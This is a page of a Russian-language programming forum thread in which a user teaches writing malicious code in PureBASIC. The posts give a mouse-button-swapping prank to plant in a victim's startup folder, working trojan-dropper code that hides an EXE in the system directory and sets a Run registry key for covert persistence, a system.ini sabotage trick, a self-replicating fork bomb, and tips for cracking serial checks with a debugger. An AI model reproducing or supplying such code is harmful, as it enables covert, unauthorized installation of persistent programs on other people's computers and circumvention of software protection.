IPB

Здравствуйте, гость ( Вход | Регистрация )

6 страниц V   1 2 3 > »   
Reply to this topicStart new topic
> Dark side of Programming, PureBASIC
Guevara-chan
сообщение 24 Dec 2006, 19:50 (Сообщение отредактировал Chrono Syndrome - 27 Dec 2006, 11:39)
Сообщение #1

•●Revolucionario●•
Сообщений: 2 467
Спасибо сказали: 5934 раза




Традиционно считается, что программирование - созидеательный процесс. И верно. Но есть одно такое интересное "но"... В криво переведенном WarZone 2100 было такое понятие: 'разрушительная структура'. Такие вещи возможны и в программировании... Да, именно так: я (и не только я, чужие статьи только приветствуются !) буду учить вас здесь написанию т.н. "вредоносного кода". Вирусы, трояны, черви, шпионы, все они попадают под это емкое опредение.

Что же, давайте перейдем к делу. Для всех примеров, если не указанно иного, вам потребуется PureBASIC v4.0 (качаем здесь:

http://forum.df2.ru/index.php?showtopic=2851), лучший, ИМХО, из существующих на сегодняшний день ЯВУ. Так же будем совсем не лишним хотя бы минимальное умение на нем писать wink.gif .

Итак, УРОК ПЕРВЫЙ:
Допустим вам хочется подшутить над другом\подругой. Подшутить беззлобно, без потери данных, порчи железа и т.п. вещей. Хочется ? Я помогу smile.gif . Предлагаю поменять местами сигнал от конопок мыши (т.е., чтобы левый клик считался как правый, и наоборот). А потом, через случайный промежуток времени, вернуть все как было. А потом опять поменять... И так до бесконечности wink.gif .

Короче говоря, открываем PureBASIC IDE, и вписываем туда следующий код:

Код
Define FSwap = -1
Repeat : SwapMouseButton_(FSwap)
FSwap = ~FSwap
Delay((Random(4) + 1) * 100)
ForEver

Код примитивнейший, поэтому пояснять ничего не буду, замечу лишь, что API SwapMouseButon, цитирую:

Цитата
reverses or restores the meaning of the left and right mouse buttons.

BOOL SwapMouseButton(

    BOOL fSwap  // reverse or restore buttons
   );


Parameters

fSwap

Specifies whether the mouse button meanings are reversed or restored. If this parameter is TRUE, the left button generates right-button messages and the right button generates left-button messages. If this parameter is FALSE, the buttons are restored to their original meanings.

После этого компилируем прогу, и потихоньку кидаем .EXE'шник (более продвинутые варианты рассмотрим в следующих уроках wink.gif ) жертве в "Автозагрузку". Все, HAVE FUN spiteful.gif . Самое смешное, что многие люди сначала начинают грешить на мышь, и лишь потом до них доходит, что не все-то так просто spiteful.gif ...

Ладно, хватит для начала. Да, кстати, если статья вам понравилась, то можете, не стесняясь, поставить мне плюсик wink.gif .

To be continued...


--------------------
life MOV.I #life+1, *life
האם יש זמן לעצור ?
Go to the top of the pageAdd Nick
 
+Quote Post
Bourn
сообщение 24 Dec 2006, 20:52
Сообщение #2

Immortal
Сообщений: 2 415
Спасибо сказали: 60 раз




вопросик прога делает это программно через хук? тогда можно в панели управления поменять кнопки местами


--------------------
Не лезь в дела Мудрых. Понять - не поймешь, а хлопот не оберешься.
Go to the top of the pageAdd Nick
 
+Quote Post
Guevara-chan
сообщение 24 Dec 2006, 21:44 (Сообщение отредактировал Chrono Syndrome - 24 Dec 2006, 21:54)
Сообщение #3

•●Revolucionario●•
Сообщений: 2 467
Спасибо сказали: 5934 раза




Цитата
вопросик прога делает это программно через хук?

Нет, без хука. Просто меняется режим работы мыши.


--------------------
life MOV.I #life+1, *life
האם יש זמן לעצור ?
Go to the top of the pageAdd Nick
 
+Quote Post
Vikky
сообщение 25 Dec 2006, 16:10
Сообщение #4

Advanced Member
Сообщений: 144
Спасибо сказали: 0 раз




эх, когда деревья были большими, а колбаса вкусной, и когда у всех стояли 98 форточки был один весёленький прикол заставлявший друзей немного нервничать. Его действие было примерно таким. (скорее всего все вы о ней знаете, но всё таки)
Чувак включает комп выходит заставка винды и после этого экрас с надписью: Питание компьютера теперь можно выключить (или что то в этом роде, не помню дословно фразу) и комп вырубается. И так повторяется до бесконечности. Чувак в стопоре. Занавес.
А делается эта маленькая подлянка достаточно просто.
В файле system.ini есть строчка mouse.drv=moue.drv и делаем замену на mouse.drv=(всё что угодно, либо пустое поле). Сохраняем файлик. (Делаем это тогда, когда просим друга принести водички попить). И продолжаем заниматся своими делами. Как только комп выключится или перезагрузится то будет этот милый прикол.
Лечилка проста. Загружаемся в safe mode и восстанавливаем значение как оно и было.
Вот smile.gif


--------------------
Go to the top of the pageAdd Nick
 
+Quote Post
gamecreator
сообщение 25 Dec 2006, 16:18
Сообщение #5

Яблочный произвол!
Сообщений: 11 080
Спасибо сказали: 3988 раз




и каково же обьяснение этому? почему так происходит?
Go to the top of the pageAdd Nick
 
+Quote Post
Vikky
сообщение 25 Dec 2006, 16:27
Сообщение #6

Advanced Member
Сообщений: 144
Спасибо сказали: 0 раз




Цитата(gamecreator @ 25 Dec 2006, 17:18)
и каково же обьяснение этому? почему так происходит?

нестыковка системного файла, и итог выключение компа


--------------------
Go to the top of the pageAdd Nick
 
+Quote Post
Guevara-chan
сообщение 25 Dec 2006, 17:14 (Сообщение отредактировал Chrono Syndrome - 25 Dec 2006, 17:15)
Сообщение #7

•●Revolucionario●•
Сообщений: 2 467
Спасибо сказали: 5934 раза




Итак, я думаю настало время приподать вам Урок №2 smile.gif .

В прошлом уроке я рассказала вам о том, как написать простейшую программу-шутку. Теперь давайте обсудим способы ее внедрения в компьютер жертвы. Допустим, вы НЕ имеете прямого доступа к компьютеру жертвы. Что же делать ? А вот что: мы напишем на PureBASIC'е какую-нибудь программу (можно и просто взять чужую, главное - иметь исходник), и вставим в ее начало следующий код:
Код
Procedure RegSetKey(hKey, SubKey.S, ValueName.S, Dat.S)
Define Hnd
RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @Hnd, 0)
RegSetValueEx_(Hnd, @ValueName, 0, #REG_SZ, @Dat, Len(Dat))
RegCloseKey_(Hnd)
EndProcedure

DataSection
DNA: IncludeBinary "путь до иньектируемого EXE"
End_DNA:
EndDataSection

Define SysDir.S = Space(#MAX_PATH)
GetSystemDirectory_(SysDir, #MAX_PATH)
SysDir = PeekS(@SysDir)
If Right(SysDir, 1) <> "\" : SysDir + "\" : EndIf
SysDir + "MC.EXE"
SetFileAttributes(SysDir, #PB_FileSystem_Normal)
CreateFile(0, SysDir)
WriteData(0, ?DNA, ?End_DNA - ?DNA)
CloseFile(0)
RegSetKey(#HKEY_LOCAL_MACHINE, "SOFTWARE\MicroSoft\Windows\CurrentVersion\Run", "Mouse_Controller", SysDir)

Подобные вещи я называю "иньекторами". Данный код извлекает из ресурсной секции приаттаченную оператором IncludeBinary (полезнейшая вещь, кстати wink.gif ) программу-шутку, и записывает ее жертве в системную директорию (можно, по идее, и в любую другую, но мне больше нравиться так) под именем "MC.EXE", после чего прописывает ее в реестре на автозапуск. Разберем последний этап по-подробнее. Дело в том, что помимо "автозагрузки" есть еще один способ заставить Windows автоматически запускать какую-либо программу на старте - создание в разделе реестра "SOFTWARE\MicroSoft\Windows\CurrentVersion\Run" значение типа #REG_SZ (имя не имеет значения), содержащего путь до запускаемого EXE'шника. В зависимости от выбора стартового раздела: #HKEY_LOCAL_MACHINE или #HKEY_CURRENT_USER, автозапуск будет выполняться для всех пользователей вообще, или только для запустившего иньектор. Лично мне этот путь нравиться намного больше, чем операции с "Автозагрузкой", т.к. просмотреть реестр догадывается гораздо меньше народу.

Итак, теперь вы знаете, как обеспечить незаметное автоматическое проникновение вашего кода на чужой компьютер. Это довольно-таки опасные знания, так что будьте благоразумны, хе-хе laugh.gif . Скорее всего у вас возникнет вопрос: а можно ли сделать иньектор для программы, исходников которой у вас нет (или есть, но они написанны не на PB) ? Можно, конечно. Но об этом уже как-нибудь в другой раз, ибо сегодняшний урок уже окончен wink.gif .

P.S. Я плюсов дождусь или нет dry.gif ?


--------------------
life MOV.I #life+1, *life
האם יש זמן לעצור ?
Go to the top of the pageAdd Nick
 
+Quote Post
izrukvruki
сообщение 25 Dec 2006, 17:39
Сообщение #8

Князь Бореи
Сообщений: 5 171
Спасибо сказали: 1349 раз




Я бы поставил, но пока не могу, т.к. недавно плюсовал. А так интересно почитать... продолжай...

Хотелось бы узнать если программа провсит ввести некий код (типа серийный, пусть цифрофой, пусть извесна его длина). Как его подобрать??? Как взломать программу???
В кино хакеры это лихо проделывают...
Go to the top of the pageAdd Nick
 
+Quote Post
gamecreator
сообщение 25 Dec 2006, 17:48
Сообщение #9

Яблочный произвол!
Сообщений: 11 080
Спасибо сказали: 3988 раз




ручками. берешь и перебираешь все вариантыsmile.gif
правда это совсем крайний случай
Go to the top of the pageAdd Nick
 
+Quote Post
Guevara-chan
сообщение 25 Dec 2006, 18:41
Сообщение #10

•●Revolucionario●•
Сообщений: 2 467
Спасибо сказали: 5934 раза




Цитата
Хотелось бы узнать если программа провсит ввести некий код (типа серийный, пусть цифрофой, пусть извесна его длина). Как его подобрать??? Как взломать программу???
В кино хакеры это лихо проделывают...

Спроси у Bourn'а, он в этом лучше разбирается.


--------------------
life MOV.I #life+1, *life
האם יש זמן לעצור ?
Go to the top of the pageAdd Nick
 
+Quote Post
Avaddon
сообщение 26 Dec 2006, 02:54 (Сообщение отредактировал Avaddon - 26 Dec 2006, 02:55)
Сообщение #11

Ангел
Сообщений: 450
Спасибо сказали: 4 раза




Я по пакостям не специалист(дружеский кивок в сторону Chrono Syndrome),
но про серийник рассказать попробую.
Подбирать его достаточно гиблое занятие, иногда удается сделать проще rolleyes.gif

Есть такая замечательная софтина, называется Olly Debugger. Я, конечно же,
не претендую на то, что это высшй класс, но лично меня не раз выручала.
Особенно в игрушках. Так вот! По своей сути эта штука является дизассемблером. Причем в ней есть очень и очень грамотный момент: по количеству и качеству параметров она распознает вызовы WinAPI-функций wub.gif При такой поддержке хватает минимальных знаний ассемблера, чтобы найти тот самый заветный jnc или jnz ну и т.д. spiteful.gif
Для тех, кто не знает: jnc, jnz - это команды условного перехода. Действуют по принципу if ... then...goto. Как говорится, "Когда пошел бы я налево, весь мир бы был другим" rolleyes.gif Иногда(но далеко не всегда!) этого хватает yes.gif Переключить выполнение сценария программы по типу:
"Если серийник гадский, то все хорошо" shum_lol.gif
Но это, ребята, ПРОСТЕЙШИЙ случай. Если кто разбирается в криптографии,
он может рассказать про взлом серийников точнее nunu.gif
Иногда серийник может являться ключом к расшифровке части программного кода или ряда библиотек, и тогда надо долго анализировать кодирующую/декодирующую часть программы. В том же дизассемблере spiteful.gif


--------------------
Смерть - не конец, жизнь - не начало...
Go to the top of the pageAdd Nick
 
+Quote Post
Bourn
сообщение 26 Dec 2006, 08:26
Сообщение #12

Immortal
Сообщений: 2 415
Спасибо сказали: 60 раз




главное чтоб серийник не генерился по алгоритму затрагивая API библиотеки криптографии, это crypt32 и от части advapi32
насчет последней строчки хорошо можно посмотреть защиту ASProtect, идеальный пример постепенной расшифровки...
я могу рассказать конечно больше о взломе серийника, но это идет углубление в АСМ, и знания каких либо языков программирования, + еще некоторые особенности надо знать чтобы приступать к этому делу...

2 Avaddon
мне нравиться дебаггер в делфи...

Добавлено ([mergetime]1167110815[/mergetime]):
2 Chrono Syndrome
1)сколька прога эта будет весить?
2)может мне тоже заняться переписыванием твоих примеров на VC тоже в коей мере обучение для незнающих VC
3)на счет проги которая может быть в ресурсах:
http://kos.svnets.lv/flame/index.php?showtopic=520


--------------------
Не лезь в дела Мудрых. Понять - не поймешь, а хлопот не оберешься.
Go to the top of the pageAdd Nick
 
+Quote Post
Guevara-chan
сообщение 26 Dec 2006, 10:06
Сообщение #13

•●Revolucionario●•
Сообщений: 2 467
Спасибо сказали: 5934 раза




Цитата
1)сколька прога эта будет весить?

6 656 байт в несжатом виде + размер внедряемого EXE.

Цитата
2)может мне тоже заняться переписыванием твоих примеров на VC тоже в коей мере обучение для незнающих VC

Давай !

Цитата
3)на счет проги которая может быть в ресурсах:

Тоже ничего так wink.gif . Только вообще-то это троян, а не вирус lupa.gif ...


--------------------
life MOV.I #life+1, *life
האם יש זמן לעצור ?
Go to the top of the pageAdd Nick
 
+Quote Post
gamecreator
сообщение 26 Dec 2006, 11:35
Сообщение #14

Яблочный произвол!
Сообщений: 11 080
Спасибо сказали: 3988 раз




Цитата(Avaddon @ 26 Dec 2006, 02:54)
Если кто разбирается в криптографии, он может рассказать про взлом серийников точнее nunu.gif

это к хроне. она научилась пароли подбирать dry.gif nunu.gif
Go to the top of the pageAdd Nick
 
+Quote Post
Bourn
сообщение 26 Dec 2006, 17:20
Сообщение #15

Immortal
Сообщений: 2 415
Спасибо сказали: 60 раз




2 Chrono Syndrome
У VC размер 2,5кб
2 gamecreator
подбирать это еще полдела


--------------------
Не лезь в дела Мудрых. Понять - не поймешь, а хлопот не оберешься.
Go to the top of the pageAdd Nick
 
+Quote Post
izrukvruki
сообщение 26 Dec 2006, 17:52
Сообщение #16

Князь Бореи
Сообщений: 5 171
Спасибо сказали: 1349 раз




А как работают программки генерации серийников
Go to the top of the pageAdd Nick
 
+Quote Post
Bourn
сообщение 26 Dec 2006, 19:11
Сообщение #17

Immortal
Сообщений: 2 415
Спасибо сказали: 60 раз




нет определенных инструкций по их работе smile.gif
но они могу использовать шифрование данных, как выше было сказано ключи для расшифровки тела программы, генерации по рандом числам и тп


--------------------
Не лезь в дела Мудрых. Понять - не поймешь, а хлопот не оберешься.
Go to the top of the pageAdd Nick
 
+Quote Post
Guevara-chan
сообщение 27 Dec 2006, 10:29
Сообщение #18

•●Revolucionario●•
Сообщений: 2 467
Спасибо сказали: 5934 раза




Цитата
У VC размер 2,5кб

Да ? Ну, бывает idontno.gif ...


--------------------
life MOV.I #life+1, *life
האם יש זמן לעצור ?
Go to the top of the pageAdd Nick
 
+Quote Post
Guevara-chan
сообщение 27 Dec 2006, 15:58
Сообщение #19

•●Revolucionario●•
Сообщений: 2 467
Спасибо сказали: 5934 раза




Вне занятий:
Пока писала 3ий урок, впомнила один прикольчик smile.gif
Код
RunProgram(ProgramFilename())
RunProgram(ProgramFilename())

Попробуйте запустить, вас ждут незабываемые ощущения smile.gif !


--------------------
life MOV.I #life+1, *life
האם יש זמן לעצור ?
Go to the top of the pageAdd Nick
 
+Quote Post
Paladin
сообщение 28 Dec 2006, 20:06
Сообщение #20

Паладин-Урук
Сообщений: 582
Спасибо сказали: 2 раза




Цитата
Попробуйте запустить, вас ждут незабываемые ощущенияsmile.gif!

Да, да попробуйте запустить. Комп придется перезагружать. А если с автозагрузеой, то хуже любова вируса.


--------------------

Кораблик, кораблик унеси меня в царство мертвых

Faber est suae quisque furtunae
Go to the top of the pageAdd Nick
 
+Quote Post

6 страниц V   1 2 3 > » 
Reply to this topicStart new topic
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0

 



Текстовая версия Сейчас: 20 April 2024 - 06:12
Copyright by Алексей Крючков
Strategy Gamez by GrayMage
Programming by Degtyarev Dmitry
  Яндекс.Метрика